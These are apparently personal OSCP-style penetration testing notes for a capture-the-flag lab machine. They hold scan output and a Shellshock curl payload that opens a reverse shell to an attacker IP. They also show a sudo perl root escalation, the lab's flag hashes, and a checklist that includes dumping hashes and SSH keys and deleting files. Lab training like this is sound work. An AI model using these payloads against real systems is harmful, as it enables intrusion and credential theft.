10.10.10.56

Enumeration

nmap -sS -A -sV -O -Pn -p- 10.10.10.56

Nmap scan report for 10.10.10.56
Host is up (0.076s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
80/tcp   open http   Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
2222/tcp open ssh   OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
| 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)

autorecon 10.10.10.56

TCP

OpenSSH 7.2p2

UDP

Web Services

Nikto

Dirb|DirBuster

dirsearch -u http://10.10.10.56/
dirsearch -u http://10.10.10.56/cgi-bin/ -e sh,pl

- we found user.sh

WebDav

CMS

Other Services

SMB

SNMP

DB

Other

Exploitation

Service Exploited:
Vulnerability Type:
Exploit POC:
Description:

Discovery of Vulnerability

https://www.techopedia.com/definition/5585/cgi-bin#:~:text=A%20CGI%2Dbin%20is%20a,a%20Web%20page%20or%20website.&text=As%20scripts%20are%20s
.

CGI-BIN exploited

Exploit Code Used

curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.14.37/4242 0>&1' http://10.10.10.56/cgi-bin/user.sh

Proof\Local.txt File

- ☐ Screenshot with ifconfig\ipconfig
- ☐ Submit too OSCP Exam Panel

Post Exploitation

Script Results

Host Information

Operating System

Architecture

Domain

Installed Updates

File System

Writeable Files\Directories

Directory List

Running Processes

Process List

Installed Applications

Installed Applications

Users & Groups

Users

Groups

Network

IPConfig\IFConfig

Network Processes

ARP

DNS

Route

Scheduled Jobs

Scheduled Tasks

Priv Escalation

Service Exploited:
Vulnerability Type:
Exploit POC:
Description:

Discovery of Vulnerability

Exploit Code Used

We gain shell with user shelly

This user can run perl as sudo:

sudo perl -e 'exec "/bin/sh";'
bash -i

Proof\Local.txt File

- ☐ Screenshot with ifconfig\ipconfig
- ☐ Submit too OSCP Exam Panel

Goodies

Hashes

Passwords

Proof|Flags|Other

user.txt: 2ec24e11320026d1e70ff3e16695b233
root.txt: 52c2715605d70c7619030560dc1ca467

Software Versions

Software Versions

Potential Exploits

Methodology

Network Scanning

- ☐ nmap -sn 10.11.1.*
- ☐ nmap -sL 10.11.1.*
- ☐ nbtscan -r 10.11.1.0/24

- ☐ smbtree

Individual Host Scanning

- ☐ nmap --top-ports 20 --open -iL iplist.txt
- ☑ nmap -sS -A -sV -O -p- -Pn ipaddress
- ☐ nmap -sU ipaddress

Service Scanning

WebApp

- ☐ Nikto
- ☐ dirb
- ☐ dirbuster
- ☐ wpscan
- ☐ dotdotpwn
- ☐ view source
- ☐ davtest\cadevar
- ☐ droopscan
- ☐ joomscan
- ☐ LFI\RFI Test

Linux\Windows

- ☐ snmpwalk -c public -v1 *ipaddress* 1
- ☐ smbclient -L //ipaddress
- ☐ showmount -e ipaddress port
- ☐ rpcinfo
- ☐ Enum4Linux

Anything Else

- ☐ nmap scripts (locate *nse* | grep servicename)
- ☐ hydra
- ☐ MSF Aux Modules
- ☐ Download the softward

Exploitation

- ☐ Gather Version Numbes
- ☐ Searchsploit
- ☐ Default Creds
- ☐ Creds Previously Gathered
- ☐ Download the software

Post Exploitation

Linux

- ☐ linux-local-enum.sh
- ☐ linuxprivchecker.py
- ☐ linux-exploit-suggestor.sh
- ☐ unix-privesc-check.py

Windows

- ☐ wpc.exe
- ☐ windows-exploit-suggestor.py

- ☐ windows_privesc_check.py
- ☐ windows-privesc-check2.exe

Priv Escalation

- ☐ acesss internal services (portfwd)
- ☐ add account

Windows

- ☐ List of exploits

Linux

- ☑ sudo su
- ☐ KernelDB
- ☐ Searchsploit

Final

- ☐ Screenshot of IPConfig\WhoamI
- ☐ Copy proof.txt
- ☐ Dump hashes
- ☐ Dump SSH Keys
- ☐ Delete files

Log Book